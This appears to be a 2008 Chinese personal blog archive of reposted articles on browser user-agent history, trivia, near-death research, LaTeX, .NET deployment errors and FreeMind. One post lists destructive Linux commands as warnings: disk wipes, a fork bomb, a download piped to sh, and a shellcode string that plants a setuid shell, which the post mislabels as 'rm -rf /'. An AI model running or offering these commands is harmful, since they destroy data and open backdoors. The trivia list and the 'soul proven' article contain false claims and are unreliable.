Wednesday, December 24, 2008

C'est la Vie

From wikipedia:

"C'est la vie", a French phrase meaning "That's life" or "it's the life"; see List of French phrases used by English speakers. The phrase is used in the context of "That's the way it goes."
这就是生活,let it be.

Friday, December 5, 2008

UserAgent与浏览器的历史变迁zz

写的太赞了!连我都看懂了!


最早的时候有一个浏览器叫NCSA Mosaic,把自己标称为NCSA_Mosaic/2.0 (Windows 3.1),它支持文字显示的同时还支持图片,于是Web开始好玩起来。

然后出现了一个新的网页浏览器,"Mozilla",其实就是"Mosaic终结者"的意思,这搞的Mosaic很不爽,(毕竟Mosaic出道早,江湖老),新浏览器最后正式公布的名称是Netscape,它把自己标称为Mozilla/1.0 (Win3.1),更好玩了。Netscape支持框架显示,后来框架在大家中间流行起来了,但Mosaic不支持框架啊,于是伟大的"用户代理人探测"技术出现了,如果是"Mozilla",那就发给支持框架的页面,至于其他的浏览器,则发给不含框架的页面。

Netscape想逗Microsoft玩儿,把Windows叫做"几乎不曾做过调试的设备驱动器",后者很恼火。Microsoft于是推出了自己的 网页浏览器,叫做Internet Explorer,希 望它能成为"Netscape终结者"。Internet Explorer也支持框架,但它不是Mozilla啊,所以没人给它发送带有框架的页面。Microsoft慢慢烦躁起来,不再寄希望于网站管理员逐渐 认识IE并给它发框架,而是宣称自己是"兼容Mozilla"的,开始模仿Netscape,把自己标称为Mozilla/1.22 (compatible; MSIE 2.0; Windows 95),这样Internet Explorer也能收到框架了,整个Microsoft狂喜,但网站管理员开始有点被搞糊涂了。 

Microsoft把IE和Windows一起卖,并且把产品也弄得比Netscape更好了,拉开了第一场浏览器之战。结果和大家知道的一 样,Netscape被干掉了,Microsoft大胜、大喜。但是后来Netscape以Mozilla的新名称重生了,构造了Gecko,标称其为Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826,Gecko属于渲染引擎,表现优异。Mozilla开发了Firefox,标称为Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0,并且Firefox表现也非常优秀。Gecko扩张迅速,一些浏览器使用了它的代码并标称为Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040825 Camino/0.8.1 ,这是一个,还有Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 SeaMonkey/1.0,另一个,它们都伪装成Mozilla,同时也都是基于Gecko支持的。

Gecko表现优秀,IE则很差劲,于是身份甄别再次发生,输送给Gecko的是设计良好的网页代码,其他浏览器就没有这个待遇了。Linux的跟 随者很伤心,因为他们创建了基于KHTML引擎支持的Konqueror,但却不会被输送好代码,虽然他们自己认为KHTML和Gecko一样优秀,于是 Konquerer开始伪装自己"像Gecko"那样以得到好的网页,并标称自己为Mozilla/5.0 (compatible; Konqueror/3.2; FreeBSD) (KHTML, like Gecko),这个世界更让人困惑了.

后来出现了Opera这样的主儿,宣称"允许用户自己决定让浏览器装成谁",它的菜单中提供了Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51Opera/9.51 (Windows NT 5.1; U; en) 供大家来选择,选谁是谁。

Apple开发了Safari,使用了KHTML,同时也增加了很多新特性,后来干脆一锅煮,另起炉灶叫了WebKit,但是它有希望能够得到那些为KHTML编写的网页,于是Safari标称自己为Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5,这个世界更混乱了。

Microsoft越来越担心Firefox的发展,重新启动了Internet Explorer的开发,标称自己为Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) ,可以很好的渲染代码,但那要看网站管理员是否指示它这么做。

Google也开发了自己的浏览器Chrome, 使用了Webkit,有点像Safari,希望能得到为Safari编写的网页,于是决定装成Safari。这样啊,Chrome使用了WebKit渲染 引擎,想装成Safari,而WebKit呢又伪装自己是KHTML,KHTML呢又是伪装成Gecko的,同时所有的浏览器又都宣称自己是 Mozilla,于是,Chrome宣称自己是Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13,,UserAgent字符串彻底混乱了,也几乎不再发挥任何作用,每个人都宣称自己是别人,混乱充斥人间啊。

Wednesday, December 3, 2008

90件没注意到的事情--zz

3x to ^_^~

没证实这些事情的真实性,看着好玩就转过来了

1.拉斯维加斯的赌场都没有钟。

2.麦当劳40%的利润来自Happy Meals的销售。

3.1996版的韦伯斯特词典有315处拼写错误。

4.每天平均有12个新生儿被交给错误的父母。

5.巧克力对于狗来说是致命的,只要几盎斯就可以使一只小狗,因为心脏和神经系统受损而死亡。

6.19世纪30年代番茄酱是作为药品来销售的。

7.达芬奇可以一手写字,同时另一手作画。

8.剪刀是达芬奇发明的。

9.描绘蒙娜丽莎的嘴唇花费了达芬奇10年的时间。

10.二战期间颁发的奥斯卡奖座是木制的,因为当时金属是稀缺物资。

11.看看你的拉链,如果上面有YKK三个字母,那么说明这是全球最大的拉链制造商Yoshida Kogyo Kabushibibaisha的产品。

12.李小龙的动作非常快,快到看不清,所以拍电影时只好放慢胶片的速度。

13.仰面躺着并缓缓地抬起双腿,可以免于陷入流沙之中。

14.驱蚊水并不驱蚊而是干扰蚊子的感觉器官,这样它们就找不到人在哪里。

15.牙医建议,牙刷应放置于距离盥洗室至少6英尺远,以避开冲马桶时产生并漂浮于空气中的各种微粒 。

16.最早被打上条形码的产品是箭牌口香糖。

17.迈克尔.乔丹每年从耐克得到的收入多于马来西亚的耐克工厂工人的薪水总和。

18.玛丽莲.梦露的一只脚上有6个指头。

19.希特勒的母亲曾考虑堕胎,不过被医生劝阻了。

20.一生中人会脱落40磅的皮肤。

21.要是不小心被鳄鱼咬到了,你就狠狠地戳它的眼球,它会放你走。

22.人平均只需7分钟就可以入睡。

23.在菲律宾溜溜球曾被作为武器。

24.猫是圣经里面唯一没有提到的家养动物。

25.冷藏时橡皮筋可以保存得更好。

26.56%的键盘录入由左手完成。

27."dreamt"是唯一以"mt"结尾的英文单词。

28.即使没有头,蟑螂仍可存活10天 。

29.打喷嚏时无法睁着眼睛。

30.墨西哥城每年下沉10英寸。

31.睡眠时的脑比看电视时更活跃。

32.80%的美国人最喜欢蓝色。

33.在这个星球上鸡比人多。

34.大拇指的指甲长得最慢,中指的指甲长得最快。

35.在美国华盛顿电话比人还多。

36.48个最贫困的国家其资产总和还比不上全球最富有的三大家族。

37.万宝路香烟公司的第一任老总死于肺癌。

38.聪明人的头发中含有更多的锌和铜。

39.世界上最年轻的父母是1910年一对中国的小孩,分别8岁和9岁。

40.出生时,我们的眼睛多大,现在还是多大。但是鼻子和耳朵一直都在长。

41.睡觉时耗费的热量比看电视时还要多。

42.人不睡觉大约10天就会死亡。

43.切洋葱时嚼口香糖就不会流泪。

44.蒙娜丽莎没有眉毛。

45.如果月亮正好在头顶上方,那么你的体重会稍微的减少。

46.发明了电话的亚历山大.贝尔从未给他的母亲或妻子打过电话,因为她们都失聪了。

47."I am."是英语中最短的完整句。

48.如同指纹,每个人的舌纹都不同。

49."bookkeeper"是英语中唯一一个连续3次重复字母的单词。

50.惯用右手的人们平均比惯用左手的人们寿命长9年。

51."The quick brown fox jumps over the lazy dog"用到了英语中所有的字母。

52.如果所有的中国人排成一线从你面前走过,由于过高的出生率,这条线将永远没有尽头。

53.在中国使用英语的人比美国还多。

54.人体每平方英寸的皮肤包含有20英尺长的血管。

55.人平均每天使用洗手间6次。

56.婴儿出生时有300块骨骼,成人后只有206块。

57.胡须是生长速度最快的人体毛发。如果一名男性从不修容,终其一生他将蓄出30英尺长 的胡须

58.先有鸡还是先有蛋?根据《圣经 创世纪 1:20-22》,先有鸡。

59.仍在使用的最长的地名是:Taumatawhakatangihangaoauauotameteaturi-

Pukakpikimaungahoronukupokaiwhenuakitanatahu,那是新西兰的一处丘陵。

60.如果你早上7点乘坐飞机离开东京,那么当你到达檀香山的时候,时间是昨天下午4点半。

61.澳大利亚帕凯斯天文台的科学家们曾以为他们接收到了来自地外文明的电波,经过调查,发现那道电波其实来自天文台里的一个微波炉。

62.戴耳塞一小时,耳朵里的细菌数量将是原来的700倍。

63.一个French kiss可以交换超过40000个寄生虫和250种细菌。

64.男性较女性视力好,女性较男性听力好。

65.可口可乐最初是绿色的。

66.世界上最常见的名字是:穆罕默德。

67.如果不把"north"和"south"算在内,在英语中,七大州的首尾字母都相同。

68.平均每个美国人有两张信用卡。

69."typewriter"是用QWERTY键盘的单排按键所能够写出的最长英文单词。

70.失明的女性是男性的两倍。

71.人不会因为屏息而死。

72.当你打喷嚏的时候,你的心脏会停止跳动约1毫秒。

73.猪无法看到天空。

74."Sixth sick sheik's sixth sheep's sick"是英语中最绕口的绕口令。

75.过于剧烈的喷嚏会震裂肋骨,而试图憋住喷嚏将使颈部或者颅内的血管破裂从而致命。

76.扑克牌中每个花色的K都代表着历史上的伟大君王:黑桃是大卫王,梅花是亚历山大大帝,红桃是查理大帝,方块是凯撒大帝。

77.111,111,111 x 111,111,111 = 12,345,678,987,654,321。

78.当你看到一尊骑士的雕像,如果马是四脚腾空的,那么此人战死沙场。

79.同上,如果马的一只前脚抬起,那么此人因在战斗中负重伤而牺牲。

80.同上,如果马的四脚皆着地,那么此人死于自然原因。

81.蜂蜜不会变质。

82.鳄鱼无法伸出它的舌头。

83.蜗牛一觉可以睡上3年。

84.所有的北极熊都是左撇子。

85.1987年,美国航空公司在向头等舱提供的每份沙拉中,减少1颗橄榄,从而节省了40000 美元。

86.蝴蝶的味觉器官在它们的脚上。

87.大象跳不起来。

88.在过去的4000年里,没有新的动物被驯养。

89.一般来说,人们害怕蜘蛛胜过死亡。

90."assassination"和"bump"这两个词是莎士比亚创造的。
 

Monday, December 1, 2008

“灵魂”存在被科学试验证明zz

这是一篇05~06年的新闻,just interesting~


     英国医生山姆・帕尼尔是世界上第一个用科学实验证明"灵魂"真实存在的人。他的实验设计是这样的:如果病人死后"灵魂"能飘起来,还能看到自己的身体,看 到医生们在抢救他的身体,看到天花板上的灯,那么如果在天花板的下方放一块板,板的上面放一些小物体(只有山姆自己知道是什么物体,别人不知道),那么 "灵魂"就应该能看到这些小物体。如果这个病人能被抢救过来,能够说出板上的小物体是什么,那么就能区分出"灵魂"到底是虚无缥渺的想象呢,还是一个客观 存在的实体。

    山姆对100多个病人进行了研究,发现其中有7个被抢救过来的病人醒来后能说出自己"灵魂"离体时看到的景象,特别是板上的小物体,说的全都对。山姆的实验获得了成功。

    山姆的实验具有开创性的意义,他是世界上首次用科学实验的方法,证实了"灵魂"的客观存在。"灵魂"是一个客观存在的实体,有一定的大小,可以飘起来,可以移动,它是人生命存在的另一种形式,而不是虚无飘渺的想象。

    2001年6月20日,山姆应邀在休斯顿莱斯大学作了题为"濒死体验:透视脑死亡还是透视一门新的意识科学?"的报告,吸引了不少对生命研究感兴趣的人。 在他的报告中,山姆首先介绍了对"濒死体验"研究的背景情况,有许多医生、科学家都对"濒死体验"进行过研究。在谈到意识(灵魂)与大脑的关系时,山姆介 绍了不同的观点。

    传统观点认为:意识是在神经网络中产生的,如果没有神经网络,也就没有意识了;其它新观点有这样几种:

    1)意识是由于量子效应产生的;

   2)意识是由于形态共振效应产生的;

   3)意识是独立于大脑而存在的,就像电磁场可以独立存在一样;

    4)"精神"本身就是一门科学。

    山姆还介绍了下一步研究情况:英国将花费140,000英镑进行心脏停搏的"濒死体验"的多学科研究;美国休斯顿贝勒医学院将进行"意识与基因表达关系"的研究;还有英国和美国进行的其它研究。

    最后山姆放映了典型的有过"濒死体验"经历人的谈话录像,并回答了听众提出的问题。

    休斯顿德州医疗中心的科研人员对山姆的研究表示极大的兴趣,认为对探索生命的本质有重大意义,提出与山姆合作,共同研究这个生命的新领域。 

Saturday, November 22, 2008

7个极具杀伤性的Linux命令zz

挺有意思的,呵呵。

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:

rm -rf /

这个很简单,根目录会被擦光.
2. Code:

char esp[] __attribute__ ((section('.text'))) /* e.s.p
release */
= '\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68'
'\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99'
'\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7'
'\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56'
'\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31'
'\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69'
'\x6e\x2f\x73\x68\x00\x2d\x63\x00'
'cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;';

没看懂?呵呵,其实就是16进制的[rm -rf /].

3. Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的

4. Code:

:( ){ :| :&};:

这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev/sda

这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

7. Code:

mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到.

Sunday, November 16, 2008

.net程序的运行问题:This application has failed to start because the application configuration is incorrect

在运行.net编译的程序时出现问题:This application has failed to start because the application configuration is incorrect, reinstalling the application may fix this problem:

这个问题大部分是因为使用了managed code导致的,对我来说已经非常常见了-_-b,解决方法有三种:
在出现问题的机器重新编译原工程;
用程序打包的方式发布程序到出现问题的机器;
尝试采用静态连接MFC的方式编译工程;
或是直接在出现问题的机器上安装vc redistribution package(vcredist.exe)

下面是篇有用的转载文章,可以参考。
from: http://tydbits.org/This-application-has-failed-to-start-because-the-application-configuration-is-incorrect

So we’ve created our managed C++ application, using Visual Studio 2005, and it was fun and surprisingly easy thanks to the C++/CLI, so we happily gave it to the QA or a customer, and— well, it didn’t take off, the operating system just refused to launch it. And the error message wasn’t very descriptive either:

Unhandled Exception: System.IO.FileLoadException: Could not load file or assembly 'cpp.managed, Version=..., Culture=..., PublicKeyToken=...' or one of its dependencies. <…>
---> System.Runtime.InteropServices.COMException (0x800736B1): This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem. (Exception from HRESULT: 0x800736B1)
at app.Main(String[] argv)

It’s a little bit less of information, than is needed to get clear understanding of what’s going on.

Configuration

Let’s imagine that we have the following components:

app.exe
cpp.managed.dll
cpp.native.dll

I.e. a managed application app.exe, which depends on a C++/CLI cpp.managed.dll, which in turn depends on a native cpp.native.dll.

Finding out what’s wrong

First of all, let’s open the Event Viewer, and try to find error messages with the Source = SideBySide.

Windows XP or Windows Server 2003

We are likely to get several entries in the “System” Event Log, neither of which has full version information of the missing dependency:

Generate Activation Context failed for cpp.managed.dll. Reference error message: The referenced assembly is not installed on your system.

Resolve Partial Assembly failed for Microsoft.VC80.CRT. Reference error message: The referenced assembly is not installed on your system.

Dependent Assembly Microsoft.VC80.CRT could not be found and Last Error was The referenced assembly is not installed on your system.

Vista

There we should find in the Event Log something like follows:

Activation context generation failed for "cpp.managed.dll". Dependent Assembly Microsoft.VC80.CRT, processorArchitecture="x86", publicKeyToken="1fc8b3b9a1e18e3b", type="win32", version="8.0.50727.762" could not be found. Please use sxstrace.exe for detailed diagnosis.

Fixing it

All we need is to deploy VC++ runtime to the target system.

For the purpose of our example let’s imagine that we didn’t want to redistribute VC++ CRT as shared assemblies (installing it into C:\Windows\WinSxS), but instead decided to redistribute them as private assemblies. Here’s how it can look like:

app.exe
cpp.managed.dll
cpp.native.dll
Microsoft.VC80.CRT.manifest
msvcm80.dll
msvcp80.dll
msvcr80.dll

How it can fail again, or split dependencies

Of course the life is not always easy. We did the above, and it still fails with the same error message. Well, now we know what to do, and we rush to the Event Viewer.

Windows XP or Windows Server 2003

In this case Event Log has something along the following lines:

Generate Activation Context failed for cpp.native.dll. Reference error message: A component version required by the application conflicts with another component version already active.

Unfortunately, the message does not mention neither the dependencies, nor their versions which conflict. To find that out we have several options of inspecting the cpp.native.dll manifest: * taking a look at the *.intermediate.manifest or *.embed.manifest files in the intermediate build directory, * using a resource editor or some other tool to view the manifest, actually embedded into the cpp.native.dll, * or we could just use a text viewer, and search for the “dependentAssembly” string in the binary.

E.g. here’s the output of a combination of strings and grep utilities (reformatted for readability):

> strings cpp.native.dll | grep dependentAssembly














Isn’t it strange, that we have dependency on two different versions of Microsoft.VC80.CRT? Well, with Visual Studio 2005 SP1 out it’s quite possible, and in our case cpp.native.dll indeed was linked with some static libraries, compiled with pre-SP version of Visual Studio 2005.

Vista

Due to the Vista improved side-by-side errors diagnostics, there Event Log should contain just enough information to understand what’s going on:

Activation context generation failed for "cpp.native.dll". Error in manifest or policy file “” on line . A component version required by the application conflicts with another component version already active. Conflicting components are:.
Component 1: C:\Windows\WinSxS\manifests\ x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.312_none_10b2ee7b9bffc2c7.manifest.
Component 2: Microsoft.VC80.CRT.MANIFEST.

Fixing it (again)

An obvious (and correct) solution is to rebuild all the libraries with the new version of Visual Studio 2005. If we cannot do it, or just want to save some time during development, and postpone rebuilding the dependencies for later time, we’d want to try workarounds, mentioned by Nikola Dudar in his blog:

  • Workaround#1:

    Install the newer version (8.0.50727.762 in this case) of VC++ MSMs or VCRedist.EXE on a machine where your application is going to run. Once policy for VC++ assemblies is installed on that machine they are going to redirect all loads of older versions (8.0.50608.0) to the newest version available on the machine.

Note that to apply this workaround we’d need to download the updated vcredist.exe.
  • Workaround#2:

    If you are redistributing VC++ libraries in application’s local folder, you need to add an application configuration file that redirects an attempt to load 8.0.50608.0 version to 8.0.50727.762 version. Configuration file has to have same name as the exe plus .config extension and has to be right next to exe or embedded into the EXE. Here is an example of a configuration file that one would use to resolve issue with the manifest from above:

For this to work in our case we’d need to apply some magic.

Friday, November 14, 2008

Gmail & Google reader with google chrome


Google chrome提供一个功能,就是把网页的快捷方式直接创建在桌面上,像一个应用程序的快捷方式一样,直接双击就可以进入该网页,对于Google的很多服务,如gmail和google reader等,还是很方便的,如果结合Google Gears,可以离线浏览网页应用的内容,这应该是云计算理念的一部分吧。

与IE/firefox的桌面快捷方式比较起来,Google chrome的快捷方式图标看起来更像个应用程序-_-b,用了V8虚拟机的引擎更快(尤其是对于Gmail),另外这种方式打开的Chrome框架非常简洁,只有一个标题和三个基本的最大最小关闭按钮,宣传的理念就是让用户更加专注应用本身的内容,而忽略作为框架的浏览器。



Google Chrome的问题目前还是非常多,不过虽然只是一个理念上的东西,这个应用还是很适合我的,想看什么直接双击就可以了,省得一天到晚开浏览器吃内存。

Wednesday, October 29, 2008

在LaTeX生成的pdf中加入书签和交叉引用的超链接

在源文件的最后一个\usepackage{}后面加入:

% generate pdf files with hyperlink, remember to usepackage{hyperref} after any pachages
\def\a{true}
\def\useyap{true}% if using dvi->ps->pdf, set \useyap to true, or set to false if using dvi->pdf
\ifx\a\useyap
\usepackage[dvipdf,
CJKbookmarks=true,
bookmarksnumbered=true,
bookmarksopen=true,
colorlinks=true,
citecolor=blue,
linkcolor=red,
anchorcolor=green,
urlcolor=blue
]{hyperref}
\else
\usepackage[dvipdfm,
CJKbookmarks=true,
bookmarksnumbered=true,
bookmarksopen=true,
colorlinks=true,
citecolor=blue,
linkcolor=red,
anchorcolor=green,
urlcolor=blue
]{hyperref}
\AtBeginDvi{\special{pdf:tounicode GBK-EUC-UCS2}} % GBK -> Unicode
\fi

如果用dvi->ps->pdf方法生成pdf,直接用上面的代码,如果用dvi->pdf方法生成pdf,需要将上面代码第二行的true改为false,上面代码注释里都有写。

英杂志公布七大科学骗局 花样繁多不乏创意zz

北京时间10月29日消息,据英国《新科学家》杂志报道,最近一期《新科学家》杂志对历史上出现的诸多科学骗局进行了一一回顾,其中包括马修·古德曼(Matthew Goodman)在其大作《太阳与月球》中讲述的1835年上演的所谓“月球骗局”。
事实上,科学史上还有许多骗局,这些骗局可谓花样繁多,不乏创意。当然了,科学界也曾出现过一些较为严重的欺诈事件,例如最近的干细胞研究人员承认伪造数据,韩国科学家令全世界一片哗然的克隆丑闻。但下列七个骗局情况并没有那么“严重”:
1. 皮尔当人

皮尔当人化石
1912年,律师兼业余古生物学家查尔斯·道森(Charles Dawson)在英国苏塞克斯郡发现了所谓的皮尔当人化石,似乎是半人半猿的头骨和颚骨。这一发现被誉为猿和人类之间进化链条中缺少的一环。1953年, 皮尔当人化石最终被证明是伪造的。实际上,这个头骨不过是用一名中世纪人的头盖骨和一只猩猩的颚骨拼凑的。
2. 加的夫巨人

1869年,纽约加的夫的一个小农场挖掘出所谓的“加的夫巨人”
1869年,有人在纽约加的夫的一个小农场挖掘出一个身高10英尺(约合3米)的石化 人,也就是大名鼎鼎的“加的夫巨人”。发现石化人的消息迅速成为媒体关注焦点,很多美国人慕名而来一探究竟。1870年初,加的夫巨人的真相最终大白于天 下,原来是纽约人乔治·赫尔(George Hull)花钱雇人用石头雕成的杰作。
3. 柏林格医生的假化石

柏林格医生的假化石
1725年,约翰·柏林格(Johann Beringer)医生被在德国维尔茨堡发现的神秘化石深深震惊。这些化石向人们描绘了一幅幅令人难以置信的画面,其中包括鸟类、蜜蜂、蜗牛、蜥蜴、带花 植物、交配的青蛙以及进食的昆虫,甚至连彗星、卫星和恒星也没放过。不幸的柏林格最终成为这场精心制造的骗局的受害者,这些所谓的奇特化石是他心怀妒嫉的 同事暗地里偷偷埋入地下的。
但可悲的是,柏林格早已被这些化石钩住了魂魄,甚至还出版一本书,向全世界描述这些冒牌货。有传闻说,柏林格也意识到自己上当受骗,并试图全部买下他尚未售出的著作。除了上文提到的外,考古学界还曾出现过很多化石造假事件,例如著名的“蟾蜍坟墓”以及包裹苍蝇的琥珀化石。
4. 索卡尔骗局

索卡尔骗局
1996年,美国物理学家艾伦·索卡尔(Alan Sokal)向《社会文本》杂志递交了一篇用毫无疑义的术语伪装的文章,声称量子引力是一种社会和语言建构。令人意想不到的是,就在《社会文本》刊登这篇 文章时,索卡尔却主动“自首”,承认是一场骗局。当时,这一事件引发了有关索卡尔恶作剧道德性问题的一场大讨论。
5. 长意大利面的树
1957年BBC电视节目展示“长意大利面的树”
1957年,英国广播公司栏目《Panorama》让人们认识了瑞士的一种长意大利面的树,画面中的一户人家正在采摘挂在树枝上的意大利面。在观看了这档节目之后,数百人纷纷打电话询问这种树的种植方法,但最终结果却让他们失望,这不过是献给愚人节的一个笑话。
6. 见血封喉树

见血封喉树
1783年,《伦敦杂志》登载了一名荷兰外科医生的报告。这名医生声称在爪哇岛发现一种 毒性极强的树,能够杀死15英里(约合20公里)半径内的一切生物。见血封喉树的传奇故事就此拉开序幕。伊拉兹马斯·达尔文(Erasmus Darwin)甚至还在1791年的一首诗中提到这种树。他在这首诗的注释中写道:“爪哇岛有一种毒树,它的毒性让这个国家人口减少……12或14英里范 围内的大地寸草不生、一片荒芜,丛生的岩石间到处是人和动物的骨架,这种可怕的场景已然超出诗人或者画家的想象。”实际上,我们确实可以在印度尼西亚找到 所谓的见血封喉树,但它的毒性绝不像传说中的那么可怕。这种树的树浆含有一种强大毒素,一般被用在箭头上。
7. 不朽的秘密

科奥森“延寿论文”的卷首
18世纪的医生约翰·海因里希·科奥森(Johann Heinrich Cohausen)撰写了一篇有关延寿的论文,并取名为“赫米普斯再生”。根据他提出的延寿秘方,人们可以用瓶子收集年轻女子的呼吸,并依此炼制长生不老 药。事实上,科奥森本人也在论文的最后几页承认,这只是一种讽刺,任何容易上当的读者都不会被蒙在鼓里太久。

Saturday, October 18, 2008

添加history的执行时间与执行用户under linux_zz

这个挺有用的,虽然现在已经不弄这玩意了吧,备份一下,嗯。


history 是一条非常实用的 shell 命令,可以显示出之前在 shell 中运行的命令,配合 last 显示之前登录的用户,就可以追溯是哪个用户执行了某些命令。

last
...
mysurface tty7 :0 Mon Oct 6 20:07 - down (00:00)
reboot system boot 2.6.24.4-64.fc8 Mon Oct 6 20:06 (00:00)
mysurface pts/8 10.168.28.44 Mon Oct 6 17:42 - down (01:58)
mysurface pts/7 :0.0 Mon Oct 6 17:41 - 19:40 (01:59)
mysurface pts/6 :0.0 Mon Oct 6 17:27 - 19:40 (02:13)
mysurface pts/5 :0.0 Mon Oct 6 17:27 - 19:40 (02:13)
mysurface pts/5 :0.0 Mon Oct 6 15:52 - 15:59 (00:07)
...

不过默认下,history 并不记录命令的执行时间,分析起来很困难。这时候可以配置 HISTTIMEFORMAT 环境变量,给 history 记录添加上时间戳:

export HISTTIMEFORMAT="%F %T "

效果:

...
994 2008-10-16 02:27:40 exit
995 2008-10-16 01:12:20 iptables -nL
996 2008-10-16 01:47:46 vi .bash_profile
997 2008-10-16 01:47:55 history
998 2008-10-16 01:48:03 . .bash_profile
999 2008-10-16 01:48:04 history
1000 2008-10-16 01:48:09 exit
1001 2008-10-16 02:27:43 history
...

把上面的 export 命令加入到 ~/.bashrc 或者 ~/.bash_profile 中即可在登录后自动开启 history 时间戳了~

其实 HISTTIMEFORMAT 的格式就是 strftime 函数的格式,比如上面的 "%F %T",%F 表示显示出 Y-M-D 格式的日期,%T 表示显示出 H-M-S 这样格式的时间。更多的格式,可以参考 man strftime

Sunday, October 12, 2008

思维导图软件FreeMind

觉得这个软件可能很有用,作出来的图也蛮好,贴一个说明。
下面的好多链接都不能用了,下面是它的官方链接from sourceforge
http://freemind.sourceforge.net/wiki/index.php/Main_Page
再贴几张效果图:



Freemind是一实用的开源思维导图/心智(MindMap)软件.它可用来作为:1.管理项目(包括子任务的管理,子任务的状态,时间记录,资源链接管理).2.笔记或知识库.3.文章写作或者头脑风暴.4.结构化的存储小型数据库.

  FreeMind是一个免费的软件,是用来画MindMap的,有中文的语言包,所以每个人都可以拿来用的。风语者转了一个关于如何画概念图的 图解,也就是怎么样把你脑子里面的想法用一个树形的概念图表现出来。在画图的过程中你的思维被激发,也就是Lighten Up,往往会冒出很多新的想法,这就是创新。
这个软件因为表现的比较清楚,所以用来整理自己的思路很好用。后来用来整理书籍的大纲。最近两天一直在看文献,发现一大堆文献很容易让人头疼,而同时画一 个Mindmap却能够让自己找到一些线索,进而找到问题的关键点。所以MindMap对于辅助思维还是很好的工具,大家都应该用用。
日本的久恒启一写了一本书叫《图形思考》,他是一个鼓吹用图形来思考的人。不过这本书写的不太好,除了几个例子以外写的很空。唯一有用的就是他对于图解绘画规则的描述:在图解的正中间处,出示主题,并以关键表达出目标方向。外围部分的构图,则表示着围绕关键的各项要点,以及它们相互间所产生的影响。……最后筛选并精简出强调的重点,清楚地表达出整体的诉求点。

FreeMind是用Java写成的,需要有Java 1.4 也有Windows下的安装工具。个人感觉FreeMind的几个优点:
0 开源,免费,程序速度快;
1 画思路图最重要的一点就是随心所欲,而FreeMind的操作:包括节点的创建等大部分操作可以通过键盘操作,可以在思路不受任何干扰的情况下进行节点的扩展操作;
2 而完成后的思路树整理,也可以通过节点的托拽进行;
3 新版的增加了 undo 和各种图标操作;

下载地址:

Java运行环境(JRE) http://java.com/zh_CN/download/manual.jsp (最好下载脱机安装)

FreeMind下载 http://sourceforge.net/project/showfiles.php?group_id=7118 

(最好下载 freemind-bin-max-*_*_*.zip,免安装完全版,可直接释放到优盘上)

  FreeMind的缺点就是表现力还不是太丰富,只能画树形图,而且只能有一个中心,不能形成网络。不过对于这样的要求,应该也会有更复杂的软件吧。

我用FreeMind http://www.cnblogs.com/jackei/archive/2005/04/12/136305.html

1. 所谓MindMap
1.1 MindMap是什么
MindMap是什么呢?其实是英国人托尼·巴赞创造的一种提出笔记方法,和传统的直线记录方法完全不同,它以直观形象的图示建立起各个概念之间的联系。在国内,MindMap又被称为脑图或思维导图。

思维导图(Mind Mapping)以放射性思考(Radiant Thinking)为基础的收放自如方式,除了提供一个正确而快速的学习方法与工具外,运用在创意的发想与收敛、项目企划、问题解决与分析、会议管理等方 面,往往产生令人惊喜的效果。它是一种展现个人智力潜能极至的方法,将可提升思考技巧,大幅增进记忆力、组织力与创造力。它与传统笔记法和学习法有量子跳 跃式的差异。

1.2 MindMap软件介绍
其实当前MindMap软件相当多:

Mindjet MindManager ,inspiration ,FreeMind ,MindVisualizer
对我来说,FreeMind最合适,原因有二:

①跨平台,这样无论我在Windows、Debian或者FreeBSD下都可以正常使用;
③采用xml保存数据,方便读取或者与其它程序转换;
功能简洁,却又恰到好处的够用,因此我就选定它了!

FreeMind 学习使用 http://wiki.woodpecker.org.cn/moin/FreeMind

知識圖軟件 (Mappingware) http://web.hku.hk/~jwilam/PCEd_FT_2003_IT/mappingware.htm

思维导图的博客网 http://qzn.yourblog.org/

Free your mind (理论篇) http://yyq123.journalspace.com/?entryid=90

Free your mind (实践篇) http://yyq123.journalspace.com/?entryid=92

Friday, October 10, 2008

不得不说,艰苦一役开始了

Today~08.10.17左右
一周的时间,too many deadlines,too many works
两天多的生病又对工作量有了一定的加重
要加油了,无论这些忙碌是否有意义,无论它们意味着什么,都没有关系
只是单纯的下决心,我们要加油了
Just do it,嗯

Wednesday, October 1, 2008

20家乳品企业普通奶粉检出三聚氰胺_thx2^_^

太黑心了……接近1%的三聚氰胺这玩意……

 http://news.163.com/08/1001/02/4N4S9QLI0001124J.html
 
